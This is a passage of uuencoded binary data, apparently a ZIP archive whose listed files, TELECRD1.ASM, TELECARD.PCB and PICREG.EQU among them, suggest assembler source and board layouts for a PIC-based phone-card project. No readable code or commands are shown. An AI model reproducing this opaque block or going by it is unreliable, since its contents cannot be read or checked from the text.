  1925. M4]Z>6!VR1&CJ^&K!XO]L\!TM/7AQEWYXH%G:Y?AB]ON[CK8^O,@?HGO:EB?<
  1926. MCKI:!PAYT=$VA!?Q;GW7T:(C(DB(!;/I#!XQ7$+:(7"BNH9`['8(58;1W-9!
  1927. MR%VX+F[;285W:'*(WS4YK2D<7XXZJRHZ'G8%&2Q?E&2:Z)@E.]$#/T_RHN/U
  1928. MKE"#%<)P/OI]>/X_FO@Q_]`]M@7_#?.^"S]QB>-VVPS:8Z`C(;FG`>U;-1Q3
  1929. MUM-]<;_O"+$2BX'.%TM-5+VEE-2@K,#@B*:WC_NK(OG0L5LEA$&_$_8I-70@
  1930. M0`<U-%/2Q]P(','/B=B!OMC`[EA>XDAU$?V+UCRW:]QAGXG;K"^.C+-L.QW:
  1931. M1+#1HI58\=S]7905*SJRR>@(2F*O/Q5QG:@DFLRS#V=7B^&E$,840`E/<9WM
  1932. MJ>;?[ZAOL9(J%XB:UR(!#"9+(R+/:PV2`@&IN=FR\_/I="8BB4`\-WN>IO>H
  1933. MFH*HZ5A"$WF_GYWWWVJA>#I6,MN"P2;J4M@64T8&OX_PI5C&=_=I%F6?8%&4
  1934. M?]_$\,_:GR?(S^))=`HI^C8BY-H$6<<!B+PSKW+G%%)T9T3(V`3IU)!J`9/M
  1935. M,$A#81#9F"#="M+64.G61D`':6,JW\$B^A`W*?X*5D.I5YM2+:Q"*;=9"K96
  1936. M3.T.(T(SW?4GS6ZJ#FU)MY["\#:YA\F(J\M7+]]%V2[9W;QINHX_KN)XG<-=
  1937. M]#&YV]]!Q@+#FS2#XC;)X3Y+5V4SZB?]/:^R\;!,8/L'S\37G_5#-2&N?23\
  1938. M_WF#M:FOS3M#!0`=Z]&5('4L_6()AN44;=RH,LR?/8Q`L8PL:8]G;_#:XA_R
  1939. M^G!Z7O_0T8V0R.S(]A(TN,;XL5*$E5_^_9!;$_;LFQ_^-F[]TML1]ZMO1Y[#
  1940. M(72!0L)$BQ"P;;J,K#"BX9!KJ)592([*/ZE\T6TZ_9.P;VSVC>-T,`?S-_[_
  1941. M:1^ZI7-=SP/?#P(@A%:JLA(/S>RX+IT%SZ-_^C[],PC:.0K=CMGQGCD[-MT'
  1942. M6K;L5K.B$@V=4ECC%,[*OFXY%W+WZXJY7\S5Z2"Y*Z_BA(HJP%6^I]S7/OY0
  1943. ME]RR38$=TA);7'52?6[2(J5_3RZE*H<2ZE_[NWLH'R8EY4FT3?[B"C1+]T6R
  1944. MZW"Q7:NKI(4H@\!EQ6U<OQV'"<V&%_?[_%;W])1[`UGEP>=\-MSRK3[V8BZ:
  1945. M?RD!`K8AM,9*4*E]11,G8!O%LA_LUACZ6?!7`K!IA0>NL:D_JVB[K:;KHC^Y
  1946. M%`T<?7(7)3N>>J9!I<.+Y,*+^_1>^Y1Q49%FRN2%8(T57TV="2'<P':@+/Y_
  1947. M:"::J`,K]+3&'8ND!!]8#6=)VF-?J4D;`B[M8_5#]2>+BTT2(TPV/^63?;:#
  1948. M39;>M7/^7[#:QE'69OWU$]_E?+HZY].2I/>T2HQ$E3JCBHM**%OR$S:NLCWQ
  1949. MY2EGM4.UB%_G&_9EQ;%-><DI]%=4]S7+#M?1[@\@')3P'#BN(6K8<YL]K`MU
  1950. M4*<P9+/R4)>]%,E=S%43L<&QQHCC/4MDC>T#\Z(((33,:KVN(*OL<D8+1_*X
  1951. M*)+=#6=1XO`,&2[+P=R&JRM/V5Z'UFX(V'59)=O8.]:9Q%ZL,D=+*?TTE"[B
  1952. M@E6;0Q^660D8%3&<TZF(*X(]GFG"Y3F*HD!5PP+!%7Q1P\N4^Y1R2699I8Z1
  1953. M<J)0/C!0'O`TEE*BHZ%<W-)CR@<FRD,@-N9BX3S/]>I)7&QQT!Z4P)@_`I&+
  1954. M&2H^$E)S,?N>`?4I$%ZW4`'"IR%J(/X]0QI0)#R/DF`U2/(\MD@#CC0$Q[*D
  1955. MV`0K"L)K;:W%)A2).%6@J4AAE=Y_XG`CFCJ1`CNL$@@O,([R"`M</V)P8TJ=
  1956. M-*NL_$>A;H6IXPJ/6B1:+185\%W9ID2G`3J&?,93P;@,"!.*#[L(A-)'%,JV
  1957. MZ&(@DR!HO7HQ\*&&1BL7^!`#YSL;1U&;TI_A=$8+7ZM&JM[V!8[_'+UMVT!<
  1958. MN3B>U^\@4)Z//&I2B%P!-%E*E"9DH215//WP>>)INV"%"K$]<24W#XQ8^;S*
  1959. M*:<PW<6,CR'=2.=4&+17%5:@HB+,)/BTF<`DE-_N4VKOUW2AKS]5;/.EM[;>
  1960. M5]_:LAB8U<<R(YQ"3'9\_529F>Q6&1TA>\2G@RML.Z"02'8"6X%49:>!1+(S
  1961. M$]%#L`98&P4M_ZWCU2;_J]%&1VTF8A17Z+4VVN^*9`M)\;J1SA[8H2RBK%X*
  1962. M[Y$::6VPWZ80[=9P$Q>0TSSL'645IDJ_X<A]C4@'WC-%>@#$QE(2J):Q$NDF
  1963. M-UU;#+6(L)7J(1"B0`O:0H9NLO8H_#Y*\JINJH0<:11%\%Q%08U)ST*@DJ*H
  1964. MW1J+>8Z-0U85#$@EI0R1&1$I]R#IBU8_R.?"!/U0/3*7QQ"NYQV=?Q[:4&_K
  1965. M/HLI'`(D#-'*"9U<%YM\):Z<$,R.5W]`LM%D4*@)8.`VV*$0;*V+K["`2!M3
  1966. M/CE_)/<*=D(#(7?WVYAJ4H;O:#A:\*[,',T/+W/8"I-%>6N&=EP-0PO>UF<P
  1967. MM.-I&#I49>1)#.WX0(9RZHL76PG+ES,Z61[LJ#Y@52\?W0;J,F`LIJ19.S4`
  1968. MI*[=9`.[M`"6O/TW#09=1V5/5-\]1(FH\%@W(5BDAP8@2&CK.<F)/*U2:HGO
  1969. M:9S&GN2#&IQ&'F]+<N8WQFLJG\PUH+XC0^[+TU`7A&%YUWEZE;PC:]6F,4OT
  1970. M`5BAG*_E16'(D<')VU-X&Q>PT29L2]2AS!1U-9E*,W:/!)K9(X8VTJBAWC-M
  1971. MDS,&XF%YZZD^[`%Y:^IN2\0S(`Y6S#U5W+CV/6J*W4\;H:7AL3I*P_>NK@6.
  1972. MN%>MJ]`4MI+;T).0T4VR@LO]W74Y[G\25>X8/-'QEF2=JG62#Y!*Z\0>,30:
  1973. M)NG+GH^8`&J(C:).8FT#L8Y*+!%R6T\DU@7B(A8E0FQ<6?\&;?PQ7NV+6$.@
  1974. M!R1`#$"$@&P-J3)`Q47R^D<W4;+CWIGKJYJ<"`5^GZ7)78V^)4+EO%G?U@?5
  1975. M62AWFZ;WWW16J/'>0FKV\>0$392X-OO5Y#0'CD2[H?A"+O6'73F0(!K1-F?`
  1976. M.K$ED]&:B[)1TX+!]L&1@YE5N9OBM%F/=-K<@>JT$:&'ISAM)=I0.4?.ZNB$
  1977. M>#"-^G85T7$<7!Y25<W)DZ%QBVFYW/-X;TPW^[)>HU5U6%18].FHK0SCFWVQ
  1978. M^(M=DL`@SRB#R>$I5H:'_$H6ACIJZ\($OS)C/EJ2`SUK13$]FI/R$'\)U7LU
  1979. M?UU.I2*SQB4Y@IRZE1PWC__<Q[L5UQ4>H0$$>2='!#M<VUTUOD?M+OOVEVB[
  1980. MK\!H^K8GQTZ)4#(E)G'D+%S#7?P1`W/4R".QK:=''CU7M5U$V+R:;==B?UUD
  1981. MT:J`[\I'+'<AD.>!9<L50R5JJ[?S_74[UB-+0*4APT:5L-(UMBXGO`J9A6S)
  1982. MR'+HB@]:9$%][_Z"=K%MU?_\*\[25J-4//'EHR[^?R#JXH74G97+7XBM1N-Q
  1983. MC3QU9YE/2"-<MU$.WY4M:-B2NX\,NB>[,!Q:#<>K'B=GULU^NX4/C/<1<!^(
  1984. MBW8FQ-9Y='AGP@.(.K?>&P!1]+8=-#R`?#K1:C%AD`Q!BZK3WT)-4Z6_-2FJ
  1985. MBR1GIV#ZJQ7=0R;Y;;P^JML7*>3Q;MUQPP;A14HE!2.-^G&L1I$]3?V,9:^1
  1986. M@ZF.&2[7I!5/]Y\@*2CEU4.&1R,</7DO11QUQX-+(R4\_I#"^1:%0TI<*%<2
  1987. MX>3:"`3'[:%/P!&3%1Q.(QIR&U9#&JWA'3PDQ2U\YW-#Z-M4G>&Q>EIU1B1U
  1988. MUBK)$JI1DM60'2`]ILJ"88LJB`+79#"<CT=B-05390DS@?&?^VA+1]Y0Z@$)
  1989. M%4QQ>V/"3#.XR>*HB+,C*&[C'3>*)33?.$;E,]Y#`-9062A!++CAT2S4/&5I
  1990. M.?Z`JIZ\B.\A2VYNN?OEASKDWI=`[FF0:6')\Y&I$VHA0R=4I31\MA&;*'RV
  1991. MX6`#L#R%S):@:+=N9>"("&#]W;JBD>&]DW.?_I"&#S"N&CY0AR\2*0C7")PQ
  1992. M"J,0MQ6N:+TVA%'ZZW;,5>3$'ZOI-B*431Q*MZVIFUF7+PBY-_^,*D\+X?K*
  1993. MH-4,#56>%)4%>'09&I;IL:R>G,$G0KF%J*U$I[SQY8K:G7,X'E57\@&&$D\3
  1994. M04!G'!`;E8\9FDWY"*]/3\M'1,M'!`&VFBIL`#U+T534,$VQILKXS7%)7KE>
  1995. M3*_DM\FF8+M2WH$'U@C/IT>@1*-I%LBVK8"B^61`_/M&/K?QAHMGX-,T#YH)
  1996. MH=*B3O.H,\'2/.P0#I\/GN6A(^#`=%LN9%XXL*/L.>H!&-S0++Z/HZ))(4%2
  1997. M)7J"$,B9,A]N,\%U_):-^ZB]<4O8)M$OTTTU,S1P607?@QX0=/2^A%:#X^JF
  1998. MCCM+\IF>$J^O<;XTA15/<[Z"@<;Y$BHKOI[SY87<^0J&0,[P3M7K-9:S7H)V
  1999. MI\J/&0E+T)XIJD,.2=YNA8,1V"%6?(([(FQ;W\TEH>I?TVL%'AAP>A]7I>@)
  2000. M8ZQZGQ2,@0PQ^4*YA4J^LM%N3UO)=)_IZ+:_$-VA!58?;SR$ZHLFDZQL/)JT
  2001. M+]W:T-L6U(AW2#2;#Z$>X_&;C^.&4T-;P_^^*D]/X__0T?"_4+SQ]?B?7\;"
  2002. M3++J0?MALZQ/\Z!#&A#`NP^A%*/VH/D&H]7$.@]:V(2$OIH8(7(9AB$Q(A(I
  2003. M;$_#0$.G4,CP"#HK-(74$,B0V="P#5P(]0S7.^XME:^/15<-V=!=?!/1,XE'
  2004. MC+WI-SR]P[KH:U2[4-3P5-4>ZO;5@=N0^)FLK=M7"Z;TZ[%VX,.+KQ#J"?ZN
  2005. MH^Q")477"67"KY7YTL,.GSCLQ:\7@^DY+/N#<S:H\_Y@+-]IC3[-\/%MR-K#
  2006. MT"%4#=7:.&W#12<@/YW-&W8"\H/'M*%\(8WA)GS:$-V?9>Y:O@3"<#\_;2C?
  2007. MWZ-M:+&&\N7/VH:]LB&.`6E/)].&^#"LL6M\1:BY(;J`Q_`K"*QA]\+PH_EE
  2008. M0W0,WMPU.MK>V5`\>*UM.*P:2BD'TQ+B4^I&-L-Q&^U%4;1K?&NIL6M\6:JQ
  2009. M(2Y=,'(/OB79*(4X!]R)*%;*:4]V<AKE4H6.KA\IA?@J%B.;X4H4K<S0RFI\
  2010. M&;"1S7#$P]@U]FZT78>\H>1;:,O**(WXCC\C/^+HB7$P^$"8X:<;:$,YN:I%
  2011. M'/"&AY?0K1J*-[\9UQK?GVD4!7QH2GOX)FP;=O`X2]VRAM*I-?-@YC-XU,K@
  2012. M.GKMA-/2'7RYMG$)#PRY/D)=-GP,(J41WW!M[!H'E@R7Y_&&G0H76%KE2_M"
  2013. MO6?X0G#,+G)/=OMX_32_".<XM8,=\%F1MN):N:?<A0\R&24`7Z%F7#E\(UH'
  2014. M8N>@6P<*_T2#MB%E;'P?M=&5P+]`I/.AS\ZJABH+&!I*L1>UH=,TQ/?6H(9!
  2015. MW5#Z51_SA*-#O.:&Z"R1X?HBWK!;H"O]B7\'Q2CW^.I5,XV'?+R&>]"%J6;N
  2016. M07>AFID"78UN;(BO,NYJ>-B\6*RA?*^H<1[Q#7UF1!2&UNI/NM;X<G`C4^`+
  2017. MOXU,@9/3QB7$U\D:32"^C]E,([J^VL@4^,Y9(R+^N23C6N.LM];Z#JN&W:S+
  2018. MCL[QAOC<L])P7#4\I`#(6=50O!%'ZU4W#84;>;0-6=>/L>=T"?'Y4^.$X^.>
  2019. M1C;#OR=CE!G\NQ]&?L3W^1L'@Z^R-"+B6RF-_(BOES2R&?XY$F/7O\&A#^OZ
  2020. M"_M%Q/I;_"+\&QO&>:;_NQA?3.>_PM6"$GS1G\'WK]^_AI_@*J?!17A]S/Z#
  2021. MU4O]P,NN+`O>P/OCX^/W]:?\-[Q'G\-?5*7C;S[C50U6E3Q!:)2R8_0Y_`7%
  2022. M&E*LI[^JP:HNB.*4T6E[%IK-Y^SIK^HI(Y8P9\]#L\F7I*R_W4):W,89W'%A
  2023. MN:9W,^:P9ZQXPIF7W2=+TWAO&%<W]]/D[`MBOWIY$>=Y=!/G38M7+__Q?U!+
  2024. M`P04````"``SH"T=Z\G1\\0```"U`0``#````%1%3$5#05)$+DY%5'V0,:O"
  2025. M,!1&]T#^0T8=`KUIDG;5H%!L;:%]4!"18`<'!:E._GIS;WC0E^$1T@SGW"_Y
  2026. M>N+,0=@.5&8Y4TH\]YS%=>8,L?H7_X3IOJVAY*RK'%A7ZD0(\U7?%B6$@/[A
  2027. MY_?5SY/H_/3Z*XXAJ:EK'0XMFMM'C'+P]X6SXNRX&RY9E@'&2HVW2X,-Y`8?
  2028. MBM_UTE/D*?*@2&!.T$08LW2B:%)L5/($&H(%P:BDAB6C));>'N?`8&]YH`[;
  2029. M1(F#^-O&WX)1^0)02P,$%`````@`ET`N'45;^#19!0``/@T```P```!414Q%
  2030. M0T%21"Y00T)]EDUL$T<4Q\=Q`B8RWIDE+16BE=M#A%8">9?%F`]5@7RHII!8
  2031. M2<I'9;5RXMDUK1L[MBL$JBH5H0KU8%7@0\FA5"B'7%I5:EI%%6DIAU4/'#CE
  2032. M@M43H`I!#S2TE@A6YZWC]1L;:FED^?=_[\V;F3?C=_8L.44V]QZ83,W8N9V)
  2033. MP</AX?3'TZG2Z=Q,*AL^;NS2]?`$+YSFQ7`\OKGW^/#X1'QL-*R'S?#ATS.I
  2034. MPMG-O=O("S\^/_F?CR](M.#]Z5+?NR7X]AO$3]XQB$(F/DH52M.I0CJ<2*6+
  2035. MQ$=(@,0GQO;&]"CY@?X[6U<NYX-;/BUV$>+7P$DGFT@B/JA'!V,FF&\@$V-'
  2036. M]1BYSE;Y,GV2?J;>M03V[Q3&)W42)&;X6.9<^.3.R52V87_LZ%%3)QFZRJM*
  2037. M@3^@J[9(W;]#V`_J0C:,<'X$+#>2P4'=B$2)H:SR[T/O\PW4MKJ;IL8+3!WK
  2038. M^Y!N;:#[[!Y"NOM`[?J&5'N(S_=/*)!W=Z/[)=)%3-(U27X76^.;8JE98;7.
  2039. M=WN\3C$W/#XG<=WC48GO0?%_+;1X%,7'?"^*CWD,Q6_RE\4.Z!'2M8TD0+BA
  2040. M7K<(K-1UV(?X`&]PUT'WA++GX`J&)R2E2#'DT(RTGJIG+\VPVQ,T>0;3$VI,
  2041. M$O9X@B,+44^HR$)K\BE9:&4;87@549047L4>E!/F)DH)\]TH(\P-E!#F.LH'
  2042. M\T.D:X:,`,_0WT2>_G7^-N*KO,6%_0`9``X70<!U?MCC2R_DCHC?\YPXZWR3
  2043. M(B[H064T7Q7#O1HN&5&&!!E"9(>R7Y#]$HD($I%(OR#]B$#A3[%$$9-$L2:1
  2044. M&@O/R@2N19V>E\CYHJ9BHJGA69G`I9FCBQ)9+"953)+"2R9PI:+TOD3N%\LJ
  2045. M)F7AU4YNYH#BR-_EDA+1U/F<)I$:F\_!:O%N:+.-QP>3K!AX%4Z^\>"T2"4/
  2046. M%).I/%"9K(C1(K<Z2%DM9<IJ,HMSOIC1U#<1J;&+F1K#1%//V9KZDXUM;ELU
  2047. M]A4B4*>-&FN27\2O(Q2316'SGEOG35)AHU:%?8ULZA3(*")?TNL6T!9QQ/^.
  2048. MPQ80^80"P9$U];8%>>/S&K>3:AF1-35KK:D:(O!::&H$14ZJ1WA2K:/(:T('
  2049. M3^P%1/8:M]?$P%Y:&RFK%^S8E@M2AG4>VX+G@E_M-A]DDNI;TGF5[1J[E,'Y
  2050. M7!/G]3,BL.ZD.'MY]K)$H%H<AJO%8==L1XKLL+E<N\VEC,-,E,\4NR`J_#&J
  2051. MWJKRN(/`N]%.*@R_)!6V_\,*NX$B5]@?-E"\]EN\)E7"`PKD%MK#![2:!BH3
  2052. MAU73>!5`CDB5.<`K;$XB<Z(V,#&4Q73C?6[%*=NP:]+MMH%BXEA`<>1K8EU_
  2053. M(M+/3+LBQ3$4TP:*B6,!Q;NQF*ZQ:%N&0'&&9A9.$<]^(ROO?(UI67BY<$69
  2054. M64V\=[BBS&Q2(O"NP"O9(I'@9&FF;[+4(C-]#Z=E$@D^G`8[F8"=2P*OB>9T
  2055. MU_CPR-#P!#E(2##030\6ZTJT>)ZZ'6I@NV@*=TV>2@PWY"B]DH]0:&#OY#OD
  2056. MWD"<S?,A=I4_4^]Q7T=X7V^@3@=$3WN`^]FR:X#]A7R/WN3S=+G9PG;ZORH,
  2057. MJLHR?X/NL\#@%?=?WI4^HV?X`"WPS^D2[_05R1&EWWH:>MTZI[A-;WON1#G#
  2058. MG[H]\1+O7@]]J"']&+HCVN45_BBTW>J0OA7M\8+U*/27U?.\H'$Q)W3/7[CR
  2059. M<Y*J"8._15)N>[TQ0`+=Q.ULMK(GZ3J%$>);68@+B8$DUG:5;K=T=URQKHK1
  2060. ME,0XH:SP$XIJ77;'BN?5`]*"=4*Y*S",!>L_4$L#!!0````(`/92,!W$D[.D
  2061. M0PD``"#(!0`,````5$5,14-!4D0N4%).[=V_:B-''`?P75RH":<'D$%="E?.
  2062. M'80+!)L+^`72I$^=PAQ7.EB0%].CZ!%4JC#:Z(]]EG=G[;E!N_9Z/M]"K&3D
  2063. MXE,,W]%J?II<37[^Y^.O7S:/OUQ-SKY].C__<W+V]?S+Y.SOCY]_^ZN0YW/O
  2064. M=%L=-:OBO843IPZ<KH_[7S\7G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.
  2065. MG#AQXL2)$R=.G#C]D%/+-WTX<>+4H5/SE6U&G#AQXL2)$R=.G#AQXL1I<$Z-
  2066. M/?"<TS4G3AT[+6JOE'-.UYPX<>+$B1,G3IPX<>(T1*?R8`^\Y,2)4S].\\.G
  2067. MG#AQXL2)$R=.G#AQXL1IN$XGNSWP7<&)$Z<>G6;;RU-.G#AQXL2)$R=.G#AQ
  2068. M>MM.FQW>?U6U'E?5ZK*J%IPX<>+$B1,G3IPX<>+$B1,G3F&G_9WB-2=.G#AQ
  2069. MXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)TXP3)TZ<.''BQ(D3)TZ<
  2070. M.''BQ(D3)TZ<.+V_>3VA<.+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$
  2071. MB1.GMQU.G#AQ&K+3M'J2!2=.G+IW.GWZEP4G3IPX<>+$B1,G3IPXO?%S0`M.
  2072. MG#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.
  2073. MG#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXI3E?-]R;E[/-2=.G#AQ
  2074. MXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G%X_G#AQXL2)$R=.G#AQXL2)$R=.
  2075. MG#AQXL2)$Z>FTZAZS+S@Q(E3+T[-MRPX<>+4N]/!BL6)$R=.G#AQXL2)$R=.
  2076. MG(;C-*[:PXD3IVZ</@3?Y_,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G
  2077. M3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G
  2078. M3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G
  2079. M3IPX<>+$J1E.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.
  2080. MG#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.
  2081. MG#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.
  2082. MG#AQXL2)T_'#B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$
  2083. MB1,G3KDY/1].G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.
  2084. MG#AQXL2)$R=.G)X/)TZ<.''BQ(D3)TZ<.''BQ(D3)TZ<.''BQ(D3)TZ<.''B
  2085. MQ(D3)TZ<.''BQ(D3)TZ<.''BQ(D3)TZ<.''BQ(D3)TZ<.''BQ(D3)TZ<.''B
  2086. MQ(D3)TZ<.''BQ(D3)TZ<.''BQ(D3)TZ<.''BQ(D3)TZ<.''BQ(D3)TZ<.''B
  2087. MQ(D3)TZ<.''BQ.GXX<2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.
  2088. MG#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.
  2089. MG#AQXL2)$R=.G#C%AQ,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX
  2090. M<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX
  2091. M<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX
  2092. M<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX
  2093. M<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX
  2094. M<>+$B1,G3IPX<7K-<.+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G
  2095. M3IPX<>+$B1,G3IPX<>K;:<PISFG&*<9I-.<4XW2RX!3C5"XYQ3@5*TX13K/B
  2096. MAE.$T[RXX!1R.JEV6>Z=-JOXE-/+3N4RI4#EY[19Q1,*5!9.L_N+O=--2H'*
  2097. MT.DBI4!EZ#1-*5`9.HU3"E2&3DD%*D.GI`*5H5.94J`R=$HJ4#DZI12H')U2
  2098. M"E2.3BD%*D>GE`*5B=-^)WSOE%*@<G1**5`Y.I4)!2H3I\7^:N^44J"R=$HH
  2099. M4%DZ)12H+)T2"E263@D%*DNGA`*5I=.V0%6-W'&J.96;`L7I9:=M@>(4X11<
  2100. MQ4\YU9U^YQ3E%"3AQ(D3)TZ<.!6<.''BQ(D3)TZ<.''BQ(D3IW?GM"[O3E:C
  2101. MY7@QG5_.;HOUCFU[.VK[?8/M/:G=`R=.G#AQXL2)$Z<7G1Z^T\.)$R?K$R=.
  2102. MG+)V.N$4Y33B%.4TYA3E-.44Y71Y[^3S\>>=_N44Y?3TL"*G%J=RR2G&J7:8
  2103. MFE.+4^UP/J?O]X.WUX]S_VO#'CBU.-6&AW!J<;K@%.5TPRG*J3;K@5/8J5QR
  2104. MBG&JSZ+A%':JSS;B%':JS\KB%':JSU[C%':JU2=.+4ZU^L2IQ:D^*HM3T*E<
  2105. M<HIQ:HSRXQ1T:HR&Y!1T:HP:Y11T:HRNY11TJM<G3G6G<7C,&J>@4V/2**>@
  2106. MTY+3"TXMX<2)$R=.G(;N]'`^8\Z)$Z?>G(K'.0^<.''BQ(E39DZE\P@_Y.0<
  2107. M$"=.G#B];:>'7?""$R=.?3E]S]ZI"H03)TZ=.AT\MSYQXL2)$Z?!AA.G5W;R
  2108. M^7C3Z;&#S]UOX<2I'Z>#Q>G@FA,G3IPX<>+$B1,G3IPX#<QIMP%><^+$J??U
  2109. MZ0,G3IPX<>+$B1,G3IPX<>+TWIT:OP?$B1,G3IPX<>+$B1,G3IPX<>+$B1,G
  2110. M3IPX<>+$B1,G3@.X'_SD=TDX<>+$B1,G3IPX<>+$B1,G3IPX<>K$R;Q#3IQZ
  2111. M=VI](R=.G#AQXL2IX,2)4[)3U9H[3IPX=>.4&DZ<.''BQ(D3)TZ<.''BQ(G3
  2112. MD,.)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQ
  2113. MXL2)$R=.G#AQXL2I4Z?;ZJA9%>\MG#AUX%0()TZ<.''B))PX<>+$B1,GX<2I
  2114. MB_PT.?OZQ^3J?U!+`P04````"`"*=B\=14[.>F0%``#,%P``#````%1%3$5#
  2115. M05)$+E,P,9682V_<-A#'[P;\'8B]-^'P)0DY!(JLV&KL]6)7Z[B]%(9K-#DD
  2116. M*=Q>TD]?OF;T('>UBP4$:H?DC\/Y#TGQ7?_T_:\?O^R>O[Q\>_KWZS-[@#>"
  2117. MO[#=R^O7EW]8UUU>]/7Z^OZ/77/3WM5]US"PO_KR8G?3MCWC]@=@*LE*84IF
  2118. M[/_=[RV34&@&7`.K5%4QK:MB^._RHN[[+5M=M;MFVVWZ[GZ]8F#8JMO=%Z4M
  2119. M['Y^?_[RAMV]?/OQ^I,U3Z]_KCS5P?CEQ:_[=<.DX)QIX/BNM'T79GB7,[NO
  2120. M+^E=BUE]Y=Z5>]_4VYY)X^I7]J%D91^%==%VIX,OWNTPGC`R].FAOMVW*U:Q
  2121. ME6)W-_]-QAUJ//;UK:^0L[T_9+%SU5VOZ_Y^ZVL\PLH.R8W0N>U^$FOVOVW"
  2122. M``+(UU+EO%8TSEB;;AV[=;/GIR24R-G)H-;UG44!9ZO[7>-')&(#&T0/LQW:
  2123. MD=O6JT_6K$MGMG5`E&2/0"`@G`@4"(0LL$8@C(';MNEK9'+$:0>.D6_75U$"
  2124. M/OI!![;(0%>2F8)K)HMC$H@J3F=W9O:!-EYVQ3P\^_<3>PDS^TP.>SL7Q@E:
  2125. M)CV1'(CKW0(S5'1!"+[Z^3=8$DM!^+C?M:X_$1ND00!K+DIGGD<]`#D!7:E8
  2126. M`CYL-LCC69Y$'L_R1(D\7UKD7:^O(L_73WDJ\D29YQGBF9/\:QKDF2Q/(\_D
  2127. MYU/0?+H2+/&NZK[&"159H,`)%7D'*8"^M*B8[:Y'!_,!+-'!`P$D!WUID=?<
  2128. M?D)>WK\">0?\HXP0)V7$YRWYET\(@[Q)0L15*62F4YHI<.E)5B6)&QF34+E%
  2129. M3`*3%;A%[-BJ-%LQW'(MM8Y+GU'C)6/8PX1@?W_$BHY;F>S:TM0;K.4>OCNW
  2130. MS6\;ZT19Q#U!:`9*LD*Y4=UVZ]8VD=8HK"&49*'#O$:K$=%3@SZ/K30/H2T?
  2131. M;6)#`UF-FAX/W@?G0XD[F(I.#+%S]K##B3C!$3:,1`RP!:74#C;9+B<L9Y;3
  2132. M[1+R2@!4@BI)">(<)8AQ@$]2`C])"3*K!#BF!$Y*@(P2@)0`&24`*0%2)0`I
  2133. M`<Y2`BPH`7)*`%("G*4$.*X$.*($VDQEP243IO+=%4P)2Z@.2F'3-6":4ATZ
  2134. M=>Y//8_NW7+B%B[IY9R5Q@"+FAUJ^F-@B3'R)7]>5TPN["<?;'>A96GG"+A*
  2135. M3B#<5;!3I]R.,C]V!EYQ!D_'(_5!'IZ#$YXAGCF#Y\Z1YAC/'8--CJ>)I\_@
  2136. M%:O8\A!/N@HYGB*>0EZQQ/,'GM#R$,\%6.5XM+K[D@KG@05>_&R0QX`NPC('
  2137. M%`04^(`3@$X0XAC0A5CD@+1J^=*)$:R=X.$8SX48<CQ./'X&S_G'C_'*54`E
  2138. MO!)7+5_R7T'*QG!!H1(SWG57B#FNBODNW'`4GR<\QX0_%2<PX?.X,J9[BJ//
  2139. M&E\Z%0>8[WE<$;,]Q6G"Z3-P_&VW[C'E\T@3$SY%*D+25VRQA/2?5+%E%J=C
  2140. MOJ<X23B).%C"W36W6TSX/$_%=$]Y@GCB]!FMU=MM[U<U<9@I8\:G3"`FG,&4
  2141. MF/)YG(@)G^(XX?@9.($9G\=!S/<)+G[B#"<55>%J,_[$Z=O'GKFQTF7@Y!:P
  2142. M<#H%&.XN/G?;-L;'D/;]K=[<@C%$BTX^)Q,+95*T^$.=\)X/MXG!4B679A/+
  2143. MY'8+.;1MC>XJAU$/CU%OHXT`XD(VL0QW=X-%3[],\A:\,\#>:`L/I=&,XGOX
  2144. M7AA9Z$9UN/$8>RKT.',32VBMIQQ!-Y#A9G88]<A2SBR3.Q[LC:XHZ+(BL=`R
  2145. MC;VIY`(@M:@HD[%V_"-O(56-+(.J@L^CL:FI930V,9FW$(7_`5!+`0(4`!0`
  2146. M```(``Q2,!V^G@!LQ@@``.P@```,``````````$`(`````````!414Q%0U)$
  2147. M,2Y!4TU02P$"%``4````"`!*4C`=CCHX#\L(``#X'P``#``````````!`"``
  2148. M``#P"```5$5,14-21#(N05--4$L!`A0`%`````@`FT0N'<0;&V`*!0``/!<`
  2149. M``P``````````0`@````Y1$``%1%3$5#05)$+D(P,5!+`0(4`!0````(`*)$
  2150. M+AW[.7CW$P4````@```,````````````(````!D7``!414Q%0T%21"Y#35!0
  2151. M2P$"%``4````"`!K4C`=UE#(="T(````'```#````````````"````!6'```
  2152. M5$5,14-21#$N0T]$4$L!`A0`%`````@`;5(P'=:1H<KU!P```!X```P`````
  2153. M```````@````K20``%1%3$5#4D0R+D-/1%!+`0(4`!0````(`$!#'!UNJ^N<
  2154. MP`0``&(3```*``````````$`(````,PL``!024-214<N15%54$L!`A0`%```
